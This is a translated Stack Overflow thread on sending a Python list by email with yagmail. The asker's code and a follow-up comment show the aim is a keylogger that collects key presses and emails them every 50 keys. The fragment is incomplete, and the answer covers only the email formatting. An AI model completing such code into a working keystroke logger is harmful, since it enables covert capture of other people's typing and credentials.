【问题标题】:Python - Sending mails using YAGMAIL with listsPython - 使用带有列表的 YAGMAIL 发送邮件
【发布时间】:2020-05-10 09:09:51
【问题描述】:

所以我尝试在 Python 中使用 yagmail 发送邮件,并且我有一个要发送的数组或列表。当我收到邮件时,里面没有内容。这是为什么呢?

import yagmail

keys = []

listToStr = ' '.join([str(elem) for elem in keys]) 


def send(keys):
    print('test')
    yag = yagmail.SMTP('myactualmailishere', 'myactualpassishere')
    yag.send('myactualrecieverishere', 'Test', listToStr)

def on_press(key):
    global keys, count
    count += 1

    if count >= 50:
        count = 0
        send(keys)
        keys = []

【问题讨论】:

  • 您没有在 send(keys) 方法中的任何地方使用 keys 变量。这是预期的吗?
  • @Mayak Porwal 哦,我不这么认为我有点新

标签: python yagmail


【解决方案1】:

所以在通过yagmail发送邮件之前,你需要了解一些事情:

  • yagmailsmtplib 之上的一个包装库,smtplib 是一个用于通过 python 发送电子邮件的标准库。
  • 您可以发送Plain Text EmailHTML emails。您的案例看起来更像Plain text email

因此,通过yagmail 发送邮件在功能上不应与smtplib 不同。

所以,代码大概是这样的:

import yagmail

keys = ['a','b','c','d']
listToStr = ' '.join([str(elem) for elem in keys]) 

message = """\
Subject: Hi there. My list is {}.

This message is sent from Python."""

yag = yagmail.SMTP('myactualmailishere', 'myactualpassishere')
yag.send('myactualrecieverishere', 'Test', message.format(listToStr))

这应该发送一封带有 message{} 文本的纯电子邮件替换为 listToStr.

尝试上述方法,然后在方法中分解您的代码以实现您的功能。

【讨论】:

  • 但这只是发送 a b c d。我希望它保存所有按下的键,并且每按下 50 个键,它应该将所有按下的键发送到我的电子邮件。对不起,如果我不清楚
  • 我认为您在这里的一篇文章中提出了多个问题。据我了解,您的问题旨在了解如何从yagmail 以电子邮件的形式发送列表。按键和记录输入似乎是另一个问题。
  • 我猜。但是显示文本有效,所以我应该再做一个 StackOverflow 问题吗?
  • 我认为那是最好的。另外,如果有帮助,请点赞这个答案。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2021-12-03
  • 2015-02-02
  • 2020-09-16
  • 1970-01-01
  • 1970-01-01
  • 2020-12-05
相关资源
最近更新 更多